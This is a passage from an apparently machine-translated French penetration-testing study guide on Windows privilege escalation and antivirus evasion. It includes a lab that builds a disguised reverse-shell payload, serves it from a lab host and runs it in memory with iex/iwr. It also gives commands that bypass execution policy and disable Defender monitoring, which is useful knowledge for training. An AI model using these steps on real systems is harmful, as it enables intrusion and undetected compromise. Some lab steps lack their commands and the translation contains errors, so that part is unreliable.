importer le module PowerUp.ps1, l’exécution de l’applet de commande Invoke-AllChecks recherche
un grand nombre de chemins d’escalade de privilèges connus. Comme le montre la figure 5-13,
Invoke-AllChecks a une sortie intéressante. Metasploit dispose également d’un module spécifique
pour modifier les services, étant donné que vous avez une session meterpreter sur la cible :
exploit/windows/local/trusted_service_path.
Figure 5-13 Utilisation de l’applet de commande PowerUp Invoke-AllChecks

Windows dispose également d’un certain nombre d’outils intégrés que vous pouvez utiliser
pour vérifier les informations de service :

• sc Comme indiqué précédemment, la commande du contrôleur de services peut être utilisée


pour collecter des informations sur les services et arrêter, (re)démarrer et (re)configurer les
services.

• WMIC L’outil de ligne de commande (wmic) de Windows Management Instrumentation peut


également être utilisé comme moyen de collecter et de modifier des informations sur les services etles
processus.
• PowerShell PowerShell dispose également d’applets de commande intégrées pour modifier,
arrêter et démarrer des services.

La figure 5-14 montre un exemple d’utilisation de la commande sc pour répertorier un service


(jenkins), qui fournit le chemin d’accès complet à l’exécutable, puis d’utilisation
d’accesschk64.exe pour afficher les autorisations sur le fichier. Vous remarquerez que seuls les
utilisateurs privilégiés et les comptes système peuvent modifier le service. En outre, le processus
se lance en tant que processus de niveau d’intégrité « moyen ». Accesschk64.exe peut également
être utilisé pour rechercher spécifiquement des services qui peuvent être modifiés par un
utilisateur spécifié. La commande accesschk64.exe -uwcqv "Authenticated Users" *
recherche les services modifiables par les utilisateurs du groupe Utilisateurs authentifiés.

Figure 5-14 Exemple de sortie de commande sc qc jenkins

CONSEIL Les utilisateurs standard dans les environnements Windows appartiennent


généralement à des groupes Windows prédéfinis appelés BUILTIN\Users ou Authenticated
Users. Si vous êtes en mesure de trouver des détails système sensibles que l’un de ces groupes
peut modifier, c’est généralement un bon signe que le système est vulnérable à une attaque
par escalade de privilèges.

La ligne de commande de Windows Management Instrumentation est un autre outil que les
administrateurs et les attaquants peuvent utiliser pour collecter des informations sur les
processus et services en cours d’exécution. WMIC peut être utilisé pour interroger le système
local ou les systèmes distants. Toutefois, l’exécution de WMIC sur une cible distante nécessite
des privilèges d’administrateur sur le système distant. L’outil wmic est assez puissant, comme le
notent les détails de son menu d’aide (wmic /? ). Il peut être utilisé pour plus que simplement
interroger les informations et les processus du service, mais cette discussion se concentre sur les
services et les processus.

Pour répertorier tous les services avec la commande wmic, vous pouvez simplement taper
wmic service get ;cependant, la quantité d’informations renvoyées est assez écrasante. Vous
ne pouvez rassembler que des informations spécifiques que vous pourriez trouver plus utiles en
fonction de la colonne que vous souhaitez voir. Par exemple, le service wmic service get
Name,StartName,PathName renvoie tous les services, le contexte utilisateur dans lequel ils
s’exécutent et le chemin d’accès à l’exécutable. WMIC vous permet également de spécifier le
format pour rendre la sortie plus facile à lire, ou de la réexporter vers votre système d’attaque
pour une analyse plus approfondie (voir Figure 5-15,tronqué). Vous pouvez ajouter les options
/format et /output à la commande précédente pour enregistrer votre sortie dans un fichier :

Figure 5-15 Sortie de wmic, au format CSV

Vous pouvez également utiliser WMIC pour collecter des informations sur le système lui-
même, que vous pouvez utiliser pour déterminer s’il existe des correctifs manquants susceptibles
d’entraîner une escalade des privilèges. La commande wmic qfe list répertorie tous les
correctifs, Service Packs et autres correctifs installés pour les produits Microsoft installés. Bien
que ces informations soient très utiles, vous pouvez utiliser une sortie systeminfo simple avec
d’autres outils open source pour vous aider à déterminer s’il manque des correctifs. La différence
est, bien sûr, que la commande systeminfo en elle-même ne peut pas être utilisée pour collecter
des informations à distance.
Vulnérabilités liées à la divulgation d’informations

Les vulnérabilités de divulgation d’informations sont souvent négligées parce qu’elles sont
généralement classées comme ayant un faible impact. Cependant, selon le type d’information
divulguée, ils pourraient conduire à un accès administratif ou root aux systèmes, qui seraient très
certainement classés comme des vulnérabilités critiques. Étant entendu que ces types de
vulnérabilités relèvent généralement de l’accès aux informations d’identification (TA0006) ou de
la découverte (TA0007) dans le cadre d’ATT&CK, nous les couvrirons dans les chapitres 6 et 7,
respectivement. Notez toutefois que certaines techniques ATT&CK liées aux vulnérabilités de
divulgation d’informations relèvent de l’escalade des privilèges. Par exemple, les vulnérabilités
de divulgation d’informations peuvent souvent être attribuées à des autorisations de système de
fichiers faibles (T1044).

Évasion

La sécurité de l’information et la cybersécurité ont toujours été un jeu du chat et de la souris.


Tout d’abord, les attaquants trouvent un moyen d’exploiter une vulnérabilité ou une faiblesse,
puis les défenseurs trouvent un moyen de détecter cette attaque spécifique. Ensuite, les
attaquants améliorent leur jeu afin d’obtenir ou de maintenir l’accès, et encore une fois, les
défenseurs trouvent un moyen de riposter. Ce processus cyclique semble sans fin. Les pentesters
ont toujours besoin d’un moyen d’échapper à la détection. Au cours des dernières années,
échapper à certains types de détection est devenu de plus en plus difficile et, d’une manière
générale, bon nombre des techniques discutées jusqu’à présent n’échapperont pas à un bon
défenseur. Rappelez-vous que c’est le travail d’un pentester de quitter une organisation mieux
qu’il ne l’a trouvée, et cela peut signifier emprunter à différentes disciplines, telles que l’équipe
rouge. Certaines des techniques décrites dans cette section peuvent ne pas convenir à tous les
engagements. Cependant, à mesure que les progrès des techniques défensives continuent de
s’améliorer, les techniques du pentester doivent également s’améliorer.

L’avancée la plus influente à ce jour en matière de sécurité Windows est l’introduction de


Windows Defender et de l’interface d’analyse antimalware Windows (AMSI, prononcé am-zee).
AMSI est une API qui permet à tout fournisseur d’intégrer ses produits au moteur antimalware
présent dans Windows. Cela inclut également d’autres produits Microsoft. Par exemple, les
produits PowerShell, VBScript et Office (y compris les macros) peuvent s’intégrer à AMSI pour
être analysés à la recherche d’intentions malveillantes. L’AMSI n’est cependant pas une solution
miracle. Il présente des faiblesses, en particulier en ce qui concerne les chaînes et le texte
obscurcis, et peut être contourné sans trop de difficulté compte tenu de l’accès local. Il existe
plusieurs outils open source disponibles pour aider les pentesters à obscurcir et à cacher
l’intention du code qu’ils souhaitent exécuter et à contourner AMSI. L’examen GPEN peut couvrir
certains outils qui peuvent être signalés par AMSI aujourd’hui, nous ferons donc de notre mieux
pour fournir une couverture pour un certain nombre d’approches différentes de
l’obscurcissement.
REMARQUE L’ID de modèle d’attaque MITRE CAPEC suivant est pertinent pour l’évasion
:CAPEC-578 (Désactiver le logiciel de sécurité).

En mémoire vs sur disque

Certains fournisseurs d’antivirus analysent simplement les éléments qui touchent le disque dur.
Si le code réside dans la mémoire, ils ne veulent rien avoir à voir avec cela. Ils peuvent prétendre
que l’analyse du code au fur et à mesure qu’il est chargé réduit les performances. Bien que cela
puisse être vrai, l’impact sur les performances de l’analyse du code lorsqu’il est chargé en
mémoire est négligeable. En outre, les fichiers stockés sur disque ont une plus grande probabilité
d’être découverts par les examinateurs judiciaires. Les méchants choisissent toujours le chemin
qui est le moins susceptible de les faire attraper. Cela signifie ne pas stocker d’informations sur
un disque dur si possible. Bien qu’il existe des produits qui peuvent capturer le contenu de la
mémoire après un incident à des fins d’analyse médico-légale, les attaquants préfèrent toujours
l’approche en mémoire.

La réponse PowerShell à la question de en mémoire par rapport au disque est la fonction


Invoke-Expression (iex),qui contourne le processus fastidieux de téléchargement d’un module, puis
de son approvisionnement, puis de son exécution. Au lieu de cela, avec la fonction iex, vous
pouvez sourcer le module directement à partir d’un emplacement réseau dans la mémoire, puis
exécuter la fonction. Vous avez utilisé cette fonction particulière lors de l’exercice d’escalade de
privilèges Windows précédent. Cependant, AMSI est sage à cette approche. Si vous deviez
essayer cela sur un système Windows 10 actuel, AMSI signalerait le téléchargement, la fonction
iex ou les deux. Cela est également vrai pour l’ensemble de la suite d’outils PowerSploit. Par
défaut, AMSI et Windows Defender interceptent ces tentatives, que vous téléchargiez puis
sourcez le module ou que vous le chargez directement à partir d’un emplacement réseau. La
figure 5-17 montre un exemple de téléchargement de PowerView.ps1, puis d’essai d’Invoke-
Expression . Ni l’un ni l’autre n’a réussi. Combiné à d’autres techniques telles que
l’obscurcissement du code, iex est un moyen plus efficace et pratique d’essayer de ne pas être
détecté. Encore une fois, avec une journalisation PowerShell appropriée, vos attaques finiront
par être remarquées.
Figure 5-17 PowerView signalé par Windows Defender

Emplacement du disque

Si vous devez enregistrer des informations sur le disque, il peut être possible de trouver un
répertoire qui a été exclu de l’analyseur de Windows Defender. Par exemple, lorsque vous
configurez votre machine virtuelle Windows d’attaque avec Cain à l’annexe B, si vous n’aviez pas
entré d’exclusion pour le répertoire dans lequel vous avez installé Cain, Windows Defender aurait
marqué et mis en quarantaine le programme. Il existe deux applets de commande PowerShell
que vous pouvez utiliser pour afficher ou modifier des répertoires qui peuvent être exclus de
Windows Defender : Get-MpPreference, qui ne nécessite pas de privilèges d’administrateur, et Set-
MpPreference, qui nécessite des privilèges d’administrateur. L’illustration suivante montre le
résultat de l’exécution (Get-MpPreference). ExclusionPath à une invite PowerShell sur la machine
virtuelle WindowsAttacker, la sortie indiquant que C:\Program Files (x86)\Cain est exclu des analyses
par Windows Defender :

Cela signifie que si vous êtes en mesure d’écrire dans ce répertoire (ou dans n’importe quel
sous-répertoire), vous pourrez placer n’importe quel fichier de votre nom dans ce répertoire
sans craindre d’être détecté par Windows Defender.

CONSEIL Vous pouvez également désactiver la surveillance en temps réel de Windows Defender
à l’aide de la commande PowerShell suivante : Set-MpPreference -
DisableRealTimeMonitoring $true. Toutefois, des droits d’administration sont requis pour
que cette commande s’exécute correctement.
Code Obfuscation

La prochaine solution possible pour contourner les programmes antivirus et / ou AMSI est
l’obscurcissement du code. AMSI est devenu meilleur pour détecter d’éventuels codes
malveillants. En fait, il peut déterminer si le code est codé en base64 et, le cas échéant, décoder
les données avant de l’exécuter via le moteur AMSI, de sorte que tout code que vous téléchargez
ou chargez en mémoire ne peut pas simplement être codé. Il existe quelques techniques
d’obscurcissement majeures. Cette section examine quelques outils qui se concentrent sur
l’obscurcissement en encodant ou en chiffrant votre contenu « malveillant ».

Évasion du voile (Veil Evasion)

L’un des premiers projets open source qui cherchait à brouiller les charges utiles s’appelait Veil
Evasion. La première instanciation du Veil Framework n’est plus maintenue. Le projet actuel, Veil
3, est activement maintenu et développé. L’objectif de l’outil Evasion est de générer et
d’obscurcir les charges utiles de manière à être indétectables par les outils antivirus actuels.
Evasion peut obscurcir les charges utiles dans les langages courants qui peuvent s’exécuter sur
Windows, y compris Python, PowerShell, Go, C, C-Sharp, Lua et Ruby. Au fur et à mesure que
l’outil progressait depuis ses débuts, les développeurs du framework ont voulu donner la priorité
à la convivialité. Cela peut être vu dans la similitude de l’interface de l’outil avec celle de
Metasploit. Le cadre comprend également des fonctionnalités d’utilisabilité avancées telles que
la complétion par onglets. Les versions antérieures intégraient également et s’appuyaient
directement sur msfvenom pour générer du shellcode. Cela a entraîné une plus grande chance
que Veil puisse se briser si le code Metasploit était mis à jour ou modifié. Bien que Veil 3 puisse
toujours utiliser msfvenom pour générer du code, il utilise également par défaut Veil-Ordinance,
qui est un outil permettant de générer des scénographes codés. Rappelez-vous de la discussion
précédente sur les stagers dans un framework C2 qu’un stager est simplement un programme ou
un exécutable utilisé pour télécharger et exécuter une charge utile / étape. La partie du cadre
veilre qui encodage s’appelle l’ordonnance.

La version actuelle de Veil a également été réécrite en Python 3, tandis que les anciennes
versions sont écrites en Python 2. Lors de la génération de charges utiles pour Windows à l’aide
d’Evasion, il existe deux options pour générer des exécutables Windows à partir de Python :
PyInstaller et py2exe. PyInstaller génère un fichier exécutable basé sur les informations générées
par Evasion pour s’assurer que tous les modules et bibliothèques requis sont inclus dans
l’exécutable. py2exe est un module Python qui construit également des exécutables Windows
autonomes basés sur des fichiers de configuration fournis par Evasion. Les exécutables générés
par py2exe ont tendance à être plus volumineux que ceux générés par PyInstaller. Comme vous
pouvez le voir dans les deux illustrations suivantes, le fichier py2exe (à gauche) est presque 12
Mo, tandis que le fichier PyInstaller n’est que de 4,6 Mo.
Les exécutables générés par Py2exe nécessitent également un peu plus de travail, car ils
doivent être créés dans un environnement Windows avec des packages Windows spécifiques
installés. Cependant, cet effort accru est plus susceptible de vous récompenser avec une charge
utile qui n’est pas signalée par Defender. La figure 5-18 montre les résultats du téléchargement
de deux fichiers, le premier généré par py2exe et le second généré par PyInstaller. Le deuxième
fichier a été signalé par Windows Defender, alors que le premier ne l’était pas. (Remarque: Nous
avons déplacé la fenêtre contextuelle Windows Defender pour être incluse dans la capture
d’écran.)

Figure 5-18 py2exe non signalé par Windows Defender

Techniques d’évasion de metasploit

Metasploit propose quelques techniques différentes pour échapper aux produits antivirus. En
2018, Rapid 7 a inclus pour la première fois ses modules « evasion » dans la version
communautaire (gratuite) de Metasploit. Jusque-là, ces modules particuliers n’étaient
disponibles que dans la version commerciale du produit. Malheureusement pour les attaquants,
Windows Defender a rattrapé les modules d’évasion Metasploit et signale à peu près toutes les
charges utiles par défaut que vous essayez de générer avec ce module. Cependant, Metasploit
utilise toujours des encodeurs, qui peuvent parfois contourner Windows Defender.

Les encodeurs sont séparés par architecture (par exemple, x86, x64, ppc). Vous devez vous
assurer de bien comprendre votre système cible afin d’utiliser l’encodeur approprié, bien que les
charges utiles x86 codées x86 puissent toujours fonctionner sur les systèmes x64. Comme les
charges utiles et les exploits, les encodeurs sont également classés en fonction de leur taux de
réussite. L’un des encodeurs les plus performants est l’encodeur shikata_ga_nai, disponible pour
les charges utiles ciblant l’architecture x86. Selon le nombre d’itérations que vous utilisez pour
encoder la charge utile, l’encodeur shikata_ga_nai est votre meilleur choix pour contourner les
produits antivirus et Windows Defender avec des outils de base. Comme pour les charges utiles
et les exploits, vous pouvez utiliser la commande Metasploit info pour obtenir plus
d’informations sur l’encodeur shikata_ga_nai :

NOTE Shikata ga nai se traduit approximativement par « rien ne peut être fait à ce sujet » ou « il
ne peut pas être aidé ».

Atelier 5-6 : Évasion de Windows Defender

L’encodeur équivalent x64 est xor_dynamic, que vous utiliserez dans l’exercice suivant pour
découvrir les types de charges utiles les plus susceptibles de déclencher un antivirus ou Windows
Defender. Vous aurez besoin de votre machine virtuelle d’attaque Kali et de la machine virtuelle
WindowsTarget démarrée et sur le même réseau.

1. Connectez-vous à votre machine virtuelle Kali et démarrez Metasploit. Vous allez jeter un coup
d’œil à un module d’évasion et obtenir des informations sur les modules d’encodeur.

2. À l’invite MSFconsole, tapez ce qui suit :

use evasion/windows/windows_defender_exe
info

En affichant les informations du module, vous verrez que quelques-unes des techniques que ce
module utilise pour contourner l’antivirus sont le cryptage et l’obscurcissement. Vous devez
maintenant sélectionner une charge utile.

3. Utilisez le shell TCP inversé simple suivant pour essayer d’éviter meterpreter, qui peut être un
peu plus susceptible de se faire prendre:

set payload windows/x64/shell/reverse_tcp


set LHOST 192.168.1.119
set LPORT 443
set FILENAME upgrade.exe
run
4. Notez que le fichier est enregistré dans ~/.msf4/local/upgrade.exe. Ouvrez un nouveau
terminal, cd vers /tmp, et déplacez votre fichier là pour servir avec votre serveur HTTP Python :

cd /tmp
mv ~/.msf4/local/upgrade.exe .
python -m SimpleHTTPServer

5. Maintenant que vous avez un fichier que vous pouvez récupérer sur le réseau, connectez-vous à
votre machine virtuelle WindowsTarget en tant que bob, ouvrez un navigateur et accédez à votre
machine virtuelle Kali: http://192.168.1.119:8000 (votre adresse IP peut différer si vous n’avez
pas utilisé la configuration de l’annexe B).

6. Vous devriez voir une liste de tous les fichiers de votre répertoire /tmp, y compris votre charge
utile, votre mise à niveau.exe. Allez-y et cliquez sur le nom du fichier. Vous devez être invité à
enregistrer ou à exécuter le fichier. Pour cet exercice, choisissez de télécharger le fichier. Une
fois le fichier téléchargé, vous devez immédiatement être averti que le fichier contient du
contenu malveillant et a été supprimé.

À ce stade, vous pouvez essayer différentes charges utiles ou techniques d’évasion intégrées aux
modules d’évasion Metasploit, mais Windows Defender est capable de détecter et d’arrêter la
plupart des charges utiles créées avec le module d’évasion, alors essayez ensuite d’encoder vos
charges utiles.

7. Encore une fois, essayez un simple shell inversé, mais cette fois générez votre charge utile avec
msfvenom. Générez une charge utile PowerShell et utilisez l’encodeur xor_dynamic avec un
nombre aléatoire d’itérations en tapant ce qui suit à partir d’une fenêtre de console :

8. Dans votre terminal MSFconsole, configurez votre gestionnaire :


9. Revenez à votre machine virtuelle WindowsTarget, où vous êtes connecté en tant que bob, et
essayez de télécharger le fichier. Lorsque vous y êtes invité, enregistrez le fichier au lieu de
l’exécuter. Il doit être automatiquement enregistré dans le répertoire Téléchargements de bob,
sans avertissement ni pop-ups.

10. Sur la machine virtuelle WindowsTarget, ouvrez une invite de commandes. Vous devez être dans
C:\Users\bob. Vous allez essayer d’exécuter le fichier en utilisant deux méthodes différentes.

11. Tout d’abord, cd dans le répertoire Téléchargements et vérifiez que le fichier téléchargé:

cd Downloadsdir

12. Essayez d’exécuter le script en tapant .\upgrade.ps1. Vous êtes invité à exécuter le
programme. Cliquez sur Oui. Malheureusement, le programme s’ouvre dans le Bloc-notes au
lieu de s’exécuter. Fermez le Bloc-notes et essayez d’exécuter powershell .\upgrade.ps1.

13. Vous devriez recevoir une erreur indiquant que le programme n’est pas signé numériquement
en raison de la stratégie d’exécution. Heureusement, la stratégie d’exécution peut être
contournée avec l’option de -exec bypass lors du lancement de PowerShell. En fait, vous
pouvez complètement contourner le stockage du rappel sur le disque en le chargeant
directement en mémoire à l’aide d’Invoke-Expression et en le téléchargeant à partir de votre
serveur Web avec la fonction Invoke-WebRequest. Lancez PowerShell à l’invite de commandes en
tapant powershell.

14. Type iex (iwr http://192.168.1.119:8000/upgrade.ps1-UseBasicParsing). (Encore une fois,


l’adresse IP de votre machine virtuelle Kali peut être différente.)

15. Vous devriez immédiatement recevoir un rappel et votre session meterpreter devrait être
ouverte.

16. Commencez à interagir avec la session dans votre MSFconsole avec la commande sessions. Vous
pouvez vérifier que vous exécutez dans le contexte de bob en tapant getuid.

17. Une fois terminé, quittez la session meterpreter, fermez Metasploit et supprimez le fichier
upgrade.ps1 de la machine virtuelle WindowsTarget.

CONSEIL Lorsque vous testez des charges utiles pour un engagement réel, nous vous suggérons
de tester vos charges utiles par rapport à un système cible représentatif. En outre, si votre
système cible est un système Windows 10+, assurez-vous que la soumission automatique
d’échantillons est désactivée sur votre système représentatif : choisissez Sécurité Windows |
protection contre les virus et les menaces | Paramètres de protection contre les virus et les
menaces | | automatique de soumission d’échantillons Désactiver. Si vous avez suivi les
instructions de l’annexe B,vous avez désactivé la soumission automatique d’échantillons via la
stratégie de groupe.
Examen des chapitres

Une fois que vous avez obtenu l’accès initial à une cible, votre première priorité devrait être de
mettre en place un mécanisme de persistance. Il existe plusieurs façons de le faire, selon le type
de système auquel vous avez eu accès et le niveau d’accès dont vous disposez; l’accès
administratif peut ne pas être nécessaire pour maintenir la persistance. Vous disposez d’un
certain nombre d’outils sur lesquels vous pouvez compter pour maintenir la persistance. Vous
pouvez utiliser des outils d’administration intégrés ou des outils C2 open source. Une fois que
vous disposez d’un mécanisme de persistance, votre prochaine tâche consiste à faire remonter
vos privilèges.

Ce chapitre traite des techniques locales d’escalade des privilèges à l’aide d’outils
d’administration système standard et d’informations librement disponibles telles que le
référentiel exploit-db. Que vous essayiez d’obtenir un accès initial ou d’obtenir de nouveaux
privilèges, rester non détecté peut être un défi. Encore une fois, il existe des outils open source
sur lesquels vous pouvez compter pour échapper à la détection par le personnel défensif. Une
fois que vous avez acquis de la persistance et un accès privilégié, vous êtes mieux placé pour
commencer à rechercher des informations sensibles et des informations d’identification que
vous pouvez utiliser pour vous déplacer latéralement dans l’infrastructure de votre cible.

Vous aimerez peut-être aussi